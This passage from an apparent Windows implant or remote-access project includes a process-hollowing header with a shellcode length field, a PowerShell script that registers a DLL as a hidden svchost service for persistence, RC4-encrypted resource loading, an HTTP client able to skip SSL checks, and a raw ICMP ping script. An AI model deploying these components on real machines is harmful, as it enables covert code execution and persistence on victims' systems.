publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include 25 | #include "miniz.h" 26 | #include "rc4.h" 27 | #include "resources.h" 28 | 29 | bool resource_open(stl::vector& output, const uint8_t* data, unsigned dlen, const uint8_t* key, unsigned klen) 30 | { 31 | if (output.size() < dlen) 32 | return false; 33 | 34 | stl::vector decrypted{}; 35 | decrypted.resize(dlen); 36 | memcpy(decrypted.data(), data, dlen); 37 | 38 | rc4_ctx rc4{}; 39 | rc4_init(&rc4, key, klen); 40 | rc4_xor(&rc4, decrypted.data(), dlen); 41 | 42 | mz_ulong size = (mz_ulong)output.size(); 43 | if (mz_uncompress(output.data(), &size, decrypted.data(), (mz_ulong)decrypted.size()) != MZ_OK) 44 | return false; 45 | 46 | return size == output.size(); 47 | } 48 | -------------------------------------------------------------------------------- /src/shared/process_hollowing.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | #include 27 | 28 | struct hollow_process_startup_info 29 | { 30 | const char* dir = nullptr; 31 | const char* args = nullptr; 32 | const char* env = nullptr; 33 | HANDLE user_token = nullptr; 34 | bool inherit_handles = false; 35 | unsigned shellcode_len = 0; 36 | }; 37 | 38 | struct hollow_process_information : PROCESS_INFORMATION 39 | { 40 | hollow_process_information() : PROCESS_INFORMATION() 41 | { 42 | hProcess = nullptr; 43 | hThread = nullptr; 44 | dwProcessId = 0; 45 | dwThreadId = 0; 46 | } 47 | void* base_address = nullptr; 48 | }; 49 | 50 | hollow_process_information hollow_process(void* image, const char* host, hollow_process_startup_info* info); 51 | -------------------------------------------------------------------------------- /service.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | param([switch]$remove, [String]$path, [String]$name='vr', [String]$group='netsvcs') 25 | $path = $(Resolve-Path $path) 26 | 27 | $svclist = (Get-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost' -name $group).$group 28 | $svclist = $svclist|where{$_ -ne $name } 29 | if (!$remove) { 30 | $svclist += $name 31 | } 32 | New-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost' -name $group -value $svclist 33 | sc.exe delete $name 34 | 35 | if (!$remove) { 36 | sc.exe create $name binPath= "%systemroot%\system32\svchost.exe -k $group" type= share 37 | New-Item -Path HKLM:\SYSTEM\CurrentControlSet\services\$name -name Parameters 38 | New-ItemProperty -path HKLM:\SYSTEM\CurrentControlSet\services\$name\Parameters -propertyType ExpandString -name ServiceDll -value $path 39 | } 40 | -------------------------------------------------------------------------------- /dep/mini-gzip/mini_gzip.h: -------------------------------------------------------------------------------- 1 | /* 2 | * BSD 2-clause license 3 | * Copyright (c) 2013 Wojciech A. Koszek 4 | * 5 | * Based on: 6 | * 7 | * https://github.com/strake/gzip.git 8 | * 9 | * I had to rewrite it, since strake's version was powered by UNIX FILE* API, 10 | * while the key objective was to perform memory-to-memory operations 11 | */ 12 | #ifndef _MINI_GZIP_H_ 13 | #define _MINI_GZIP_H_ 14 | 15 | #define MAX_PATH_LEN 1024 16 | #define MINI_GZ_MIN(a, b) ((a) < (b) ? (a) : (b)) 17 | 18 | #ifdef __cplusplus 19 | extern "C" { 20 | #endif 21 | 22 | #include 23 | 24 | struct mini_gzip { 25 | size_t total_len; 26 | size_t data_len; 27 | size_t chunk_size; 28 | 29 | uint32_t magic; 30 | #define MINI_GZIP_MAGIC 0xbeebb00b 31 | 32 | uint16_t fcrc; 33 | uint16_t fextra_len; 34 | 35 | uint8_t *hdr_ptr; 36 | uint8_t *fextra_ptr; 37 | uint8_t *fname_ptr; 38 | uint8_t *fcomment_ptr; 39 | 40 | uint8_t *data_ptr; 41 | uint8_t pad[3]; 42 | }; 43 | 44 | /* mini_gzip.c */ 45 | extern int mini_gz_start(struct mini_gzip *gz_ptr, void *mem, size_t mem_len); 46 | extern void mini_gz_chunksize_set(struct mini_gzip *gz_ptr, int chunk_size); 47 | extern void mini_gz_init(struct mini_gzip *gz_ptr); 48 | extern int mini_gz_unpack(struct mini_gzip *gz_ptr, void *mem_out, size_t mem_out_len); 49 | 50 | #define func_fprintf fprintf 51 | #define func_fflush fflush 52 | 53 | #define MINI_GZ_STREAM stderr 54 | 55 | #ifdef MINI_GZ_DEBUG 56 | #define GZAS(comp, ...) do { \ 57 | if (!((comp))) { \ 58 | func_fprintf(MINI_GZ_STREAM, "Error: "); \ 59 | func_fprintf(MINI_GZ_STREAM, __VA_ARGS__); \ 60 | func_fprintf(MINI_GZ_STREAM, ", %s:%d\n", __func__, __LINE__); \ 61 | func_fflush(MINI_GZ_STREAM); \ 62 | exit(1); \ 63 | } \ 64 | } while (0) 65 | 66 | #define GZDBG(...) do { \ 67 | func_fprintf(MINI_GZ_STREAM, "%s:%d ", __func__, __LINE__); \ 68 | func_fprintf(MINI_GZ_STREAM, __VA_ARGS__); \ 69 | func_fprintf(MINI_GZ_STREAM, "\n"); \ 70 | } while (0) 71 | #else /* MINI_GZ_DEBUG */ 72 | #define GZAS(comp, ...) 73 | #define GZDBG(...) 74 | #endif 75 | 76 | #ifdef __cplusplus 77 | } 78 | #endif 79 | 80 | #endif 81 | -------------------------------------------------------------------------------- /src/shared/rc4.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include 25 | #include "rc4.h" 26 | 27 | 28 | void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len) 29 | { 30 | for (unsigned i = 0; i < 256; i++) 31 | ctx->s[i] = (unsigned char) i; 32 | 33 | unsigned j = 0; 34 | for (unsigned i = 0; i < 256; i++) 35 | { 36 | j = (j + ctx->s[i] + key[i % key_len]) % 256; 37 | std::swap(ctx->s[i], ctx->s[j]); 38 | } 39 | } 40 | 41 | void rc4_init(struct rc4_ctx* ctx, uint64_t key) 42 | { 43 | rc4_init(ctx, (uint8_t*)&key, sizeof(key)); 44 | } 45 | 46 | void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len) 47 | { 48 | unsigned x = 0, y = 0; 49 | for (int i = 0; i < len; i++) 50 | { 51 | x = (x + 1) % 256; 52 | y = (y + ctx->s[x]) % 256; 53 | std::swap(ctx->s[x], ctx->s[y]); 54 | buff[i] ^= ctx->s[(ctx->s[x] + ctx->s[y]) % 256]; 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/shared/debug.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include "debug.h" 31 | 32 | #ifdef DEBUG_MIN_LOG_LEVEL 33 | extern "C" void debug_log(DebugLevel lvl, const char* format, const char* file, unsigned line, ...) 34 | { 35 | if (DEBUG_MIN_LOG_LEVEL > lvl) 36 | return; 37 | 38 | va_list ap; 39 | va_start(ap, line); 40 | 41 | time_t now = 0; 42 | time(&now); 43 | tm* ts = localtime(&now); 44 | 45 | stl::string base_msg = stl::string::format(format, ap); 46 | stl::string msg = stl::string::format("[%02d:%02d:%02d] %s", ts->tm_hour, ts->tm_min, ts->tm_sec, base_msg.c_str()); 47 | if (IsDebuggerPresent()) 48 | { 49 | msg += "\n"; 50 | printf("%s", msg.c_str()); 51 | } 52 | else 53 | printf("%s\n", msg.c_str()); 54 | OutputDebugStringA(msg.c_str()); 55 | va_end(ap); 56 | } 57 | #endif 58 | -------------------------------------------------------------------------------- /src/shared/debug.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | 27 | enum DebugLevel 28 | { 29 | DebugLevelDebug, 30 | DebugLevelWarning, 31 | DebugLevelError, 32 | DebugLevelCritical, 33 | }; 34 | 35 | #ifdef DEBUG 36 | # define DEBUG_MIN_LOG_LEVEL DebugLevelDebug 37 | #endif 38 | 39 | #ifdef __cplusplus 40 | extern "C" 41 | #endif 42 | void debug_log(enum DebugLevel lvl, const char* format, const char* file, unsigned line, ...); 43 | 44 | #ifdef DEBUG_MIN_LOG_LEVEL 45 | # define LOG_CRITICAL(format, ...) debug_log(DebugLevelCritical, format, __FILE__, __LINE__, ##__VA_ARGS__) 46 | # define LOG_ERROR(format, ...) debug_log(DebugLevelError, format, __FILE__, __LINE__, ##__VA_ARGS__) 47 | # define LOG_WARNING(format, ...) debug_log(DebugLevelWarning, format, __FILE__, __LINE__, ##__VA_ARGS__) 48 | # define LOG_DEBUG(format, ...) debug_log(DebugLevelDebug, format, __FILE__, __LINE__, ##__VA_ARGS__) 49 | #else 50 | # define LOG_CRITICAL(...) (void)0 51 | # define LOG_ERROR(...) (void)0 52 | # define LOG_WARNING(...) (void)0 53 | # define LOG_DEBUG(...) (void)0 54 | #endif 55 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/detail/ref.h: -------------------------------------------------------------------------------- 1 | //TODO: Add license 2 | 3 | #ifndef _REF_H_ 4 | #define _REF_H_ 5 | 6 | #include 7 | #include 8 | //#include 9 | #include "../allocator.h" 10 | 11 | namespace tinystl { 12 | namespace detail { 13 | template 14 | struct _default_delete { 15 | void operator ()(T* ptr) 16 | { 17 | if (ptr) 18 | { 19 | ptr->~T(); 20 | allocator::static_deallocate(ptr); 21 | } 22 | } 23 | }; 24 | 25 | template 26 | struct ref_t { 27 | using deleter_type = std::function < void(T*) >; 28 | 29 | std::atomic ncount_; 30 | T *data_; 31 | deleter_type deleter_; 32 | 33 | explicit ref_t(T *p = nullptr, deleter_type pfunc = deleter_type(_default_delete())) 34 | : ncount_(0), data_(p), deleter_(pfunc) { 35 | if (data_) 36 | ncount_ = 1; 37 | } 38 | ref_t(const ref_t&) = delete; 39 | ref_t& operator = (const ref_t&) = delete; 40 | 41 | ~ref_t() { 42 | --ncount_; 43 | if (ncount_ == 0) 44 | deleter_(data_); 45 | } 46 | 47 | size_t count()const { return ncount_.load(); } 48 | T *get_data()const { return data_; } 49 | 50 | ref_t& operator ++() { 51 | ++ncount_; 52 | return *this; 53 | } 54 | ref_t operator ++(int) { 55 | auto t = *this; 56 | ++*this; 57 | return t; 58 | } 59 | ref_t& operator --() { 60 | --ncount_; 61 | return *this; 62 | } 63 | ref_t operator --(int) { 64 | auto t = *this; 65 | --*this; 66 | return t; 67 | } 68 | }; 69 | template 70 | bool operator ==(const ref_t& lhs, const ref_t& rhs) { 71 | return lhs.get_data() == rhs.get_data(); 72 | } 73 | template 74 | bool operator !=(const ref_t& lhs, const ref_t& rhs) { 75 | return !(lhs == rhs); 76 | } 77 | } 78 | } 79 | 80 | #endif 81 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/function.h: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Hugo Amiard 3 | // 4 | // This software is provided 'as-is', without any express or implied 5 | // warranty. In no event will the authors be held liable for any damages 6 | // arising from the use of this software. 7 | // 8 | // Permission is granted to anyone to use this software for any purpose, 9 | // including commercial applications, and to alter it and redistribute it 10 | // freely, subject to the following restrictions: 11 | // 12 | // 1. The origin of this software must not be misrepresented; you must not 13 | // claim that you wrote the original software. If you use this software 14 | // in a product, an acknowledgment in the product documentation would be 15 | // appreciated but is not required. 16 | // 2. Altered source versions must be plainly marked as such, and must not be 17 | // misrepresented as being the original software. 18 | // 3. This notice may not be removed or altered from any source distribution. 19 | // 20 | #pragma once 21 | 22 | 23 | #include 24 | #include 25 | 26 | namespace tinystl 27 | { 28 | 29 | template 30 | class function; 31 | 32 | template 33 | class function 34 | { 35 | public: 36 | function() {} 37 | 38 | template ::value>::type> 39 | function(T functor) 40 | { 41 | m_func = [](const void* user, Args... args) -> Return 42 | { 43 | const T& func = *static_cast(user); 44 | return func(static_cast(args)...); 45 | }; 46 | 47 | m_dtor = [](void* user) 48 | { 49 | T& func = *static_cast(user); 50 | func.~T(); 51 | }; 52 | 53 | static_assert(sizeof(T) <= sizeof(m_storage)); 54 | new(m_storage) T(std::move(functor)); 55 | } 56 | 57 | ~function() 58 | { 59 | if(m_dtor) m_dtor(m_storage); 60 | } 61 | 62 | Return operator()(Args... args) const 63 | { 64 | return m_func(m_storage, static_cast(args)...); 65 | } 66 | 67 | explicit operator bool() { return m_func != nullptr; } 68 | 69 | using Func = Return(*)(const void*, Args...); Func m_func = nullptr; 70 | using Dtor = void(*)(void*); Dtor m_dtor = nullptr; 71 | void* m_storage[8]; 72 | }; 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/shared/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | # Generate config and copy vr.py to bin dir for distribution 26 | add_custom_command( 27 | OUTPUT ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h 28 | COMMAND ${CMAKE_COMMAND} -DVR_CONFIG=${VR_CONFIG} -DVR_SOURCE_DIR=${VR_SOURCE_DIR} 29 | -DOUTPUT_BIN_DIRECTORY=${OUTPUT_BIN_DIRECTORY} -P ${VR_SOURCE_DIR}/configure.cmake 30 | COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/vr.py ${OUTPUT_BIN_DIRECTORY}/vr.py 31 | COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/service.ps1 ${OUTPUT_BIN_DIRECTORY}/service.ps1) 32 | set_source_files_properties(${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h PROPERTIES GENERATED TRUE) 33 | 34 | # Build shared library 35 | file(GLOB_RECURSE SOURCE_FILES *.c *.cpp *.h *.hpp) 36 | if(CMAKE_SIZEOF_VOID_P EQUAL 8) 37 | enable_language(ASM_MASM) 38 | list (APPEND SOURCE_FILES ${CMAKE_CURRENT_SOURCE_DIR}/free_exit.asm) 39 | endif () 40 | add_library(shared STATIC ${SOURCE_FILES} ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h) 41 | if (NOT MSVC) 42 | target_compile_options(shared PRIVATE -Wno-multichar) 43 | endif () 44 | target_link_libraries(shared PUBLIC mini-gzip miniz picopng tinystl tiny-json crypt32 winhttp ntdll) 45 | -------------------------------------------------------------------------------- /src/shared/winhttp.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | //s 24 | #pragma once 25 | 26 | 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | enum HttpRequestFlags 33 | { 34 | NoRedirect = 1, 35 | KeepAlive = 2, 36 | NoValidateSSL = 4, 37 | }; 38 | 39 | enum HttpStatus 40 | { 41 | HttpOk = 200, 42 | HttpUnknownError = ~0U, 43 | }; 44 | 45 | struct HttpRequest 46 | { 47 | HttpRequest() = default; 48 | ~HttpRequest(); 49 | 50 | HINTERNET internet{}; 51 | stl::unordered_map headers{}; 52 | stl::string user_agent{"HttpClient"}; 53 | stl::vector content; 54 | unsigned resolve_timeout = 10000; 55 | unsigned connect_timeout = 30000; 56 | unsigned send_timeout = 30000; 57 | unsigned receive_timeout = 30000; 58 | unsigned flags = HttpUnknownError; 59 | 60 | private: 61 | HttpRequest(const HttpRequest&) { }; 62 | }; 63 | 64 | struct HttpResponse 65 | { 66 | unsigned status = ~0U; 67 | stl::unordered_map headers; 68 | stl::string content; 69 | }; 70 | 71 | HttpResponse send_http_request(HttpRequest& request, const stl::string& url, const stl::string& method = "GET"); 72 | -------------------------------------------------------------------------------- /dep/ntdll/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | add_library(ntdll INTERFACE) 26 | target_include_directories(ntdll INTERFACE ${CMAKE_CURRENT_SOURCE_DIR}) 27 | 28 | if (CMAKE_SIZEOF_VOID_P EQUAL 4) 29 | set (NTDLL_ARCH 86) 30 | else () 31 | set (NTDLL_ARCH 64) 32 | endif () 33 | if (MSVC) 34 | find_program(LIB_EXE lib) 35 | if (NOT LIB_EXE) 36 | message(FATAL_ERROR "lib.exe was not found. Run CMake from 'Developer Command Prompt'") 37 | endif () 38 | if (NOT EXISTS ${CMAKE_BINARY_DIR}/ntdll${NTDLL_ARCH}.lib) 39 | execute_process(COMMAND lib /def:${CMAKE_CURRENT_SOURCE_DIR}/ntdll${NTDLL_ARCH}.def /out:${CMAKE_BINARY_DIR}/ntdll${NTDLL_ARCH}.lib /machine:x${NTDLL_ARCH}) 40 | endif () 41 | target_link_libraries(ntdll INTERFACE ${CMAKE_BINARY_DIR}/ntdll${NTDLL_ARCH}.lib) 42 | else () 43 | find_program(DLLTOOL_EXE dlltool) 44 | if (NOT DLLTOOL_EXE) 45 | message(FATAL_ERROR "dlltool.exe was not found.") 46 | endif () 47 | if (CMAKE_SIZEOF_VOID_P EQUAL 4) 48 | set (NTDLL_PARAM 32) 49 | else () 50 | set (NTDLL_PARAM 64) 51 | endif () 52 | if (NOT EXISTS ${CMAKE_BINARY_DIR}/libntdll${NTDLL_ARCH}.a) 53 | execute_process(COMMAND ${DLLTOOL_EXE} -d ${CMAKE_CURRENT_SOURCE_DIR}/ntdll${NTDLL_ARCH}.def -l ${CMAKE_BINARY_DIR}/libntdll${NTDLL_ARCH}.a -k -f--${NTDLL_PARAM}) 54 | endif () 55 | endif () 56 | 57 | -------------------------------------------------------------------------------- /script/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # MIT License 4 | # 5 | # Copyright (c) 2019 Rokas Kupstys 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a 8 | # copy of this software and associated documentation files (the "Software"), 9 | # to deal in the Software without restriction, including without limitation 10 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | # and/or sell copies of the Software, and to permit persons to whom the 12 | # Software is furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 20 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 22 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 23 | # DEALINGS IN THE SOFTWARE. 24 | # 25 | import os 26 | import socket 27 | import struct 28 | 29 | 30 | ICMP_ECHO_REQUEST = 8 31 | 32 | 33 | class PingError(Exception): 34 | pass 35 | 36 | 37 | def icmp_checksum(packet): 38 | checksum = 0 39 | for i in range(0, len(packet) - 1, 2): 40 | checksum += struct.unpack('> 16) + (checksum & 0xFFFF) 48 | checksum += checksum >> 16 49 | checksum = ~checksum & 0xFFFF 50 | checksum = socket.htons(checksum) 51 | return checksum 52 | 53 | 54 | def send_ping(address, payload=None, seq_number=0, id=None): 55 | if payload is None: 56 | payload = b'PING' * 16 57 | 58 | if id is None: 59 | id = os.getpid() 60 | 61 | s = None 62 | try: 63 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname('icmp')) 64 | # Send ICMP_ECHO_REQUEST 65 | checksum = 0 66 | header = struct.pack('!BBHHH', ICMP_ECHO_REQUEST, 0, checksum, id, seq_number) 67 | packet = header + payload 68 | checksum = icmp_checksum(packet) 69 | packet = packet[:2] + struct.pack('!H', checksum) + 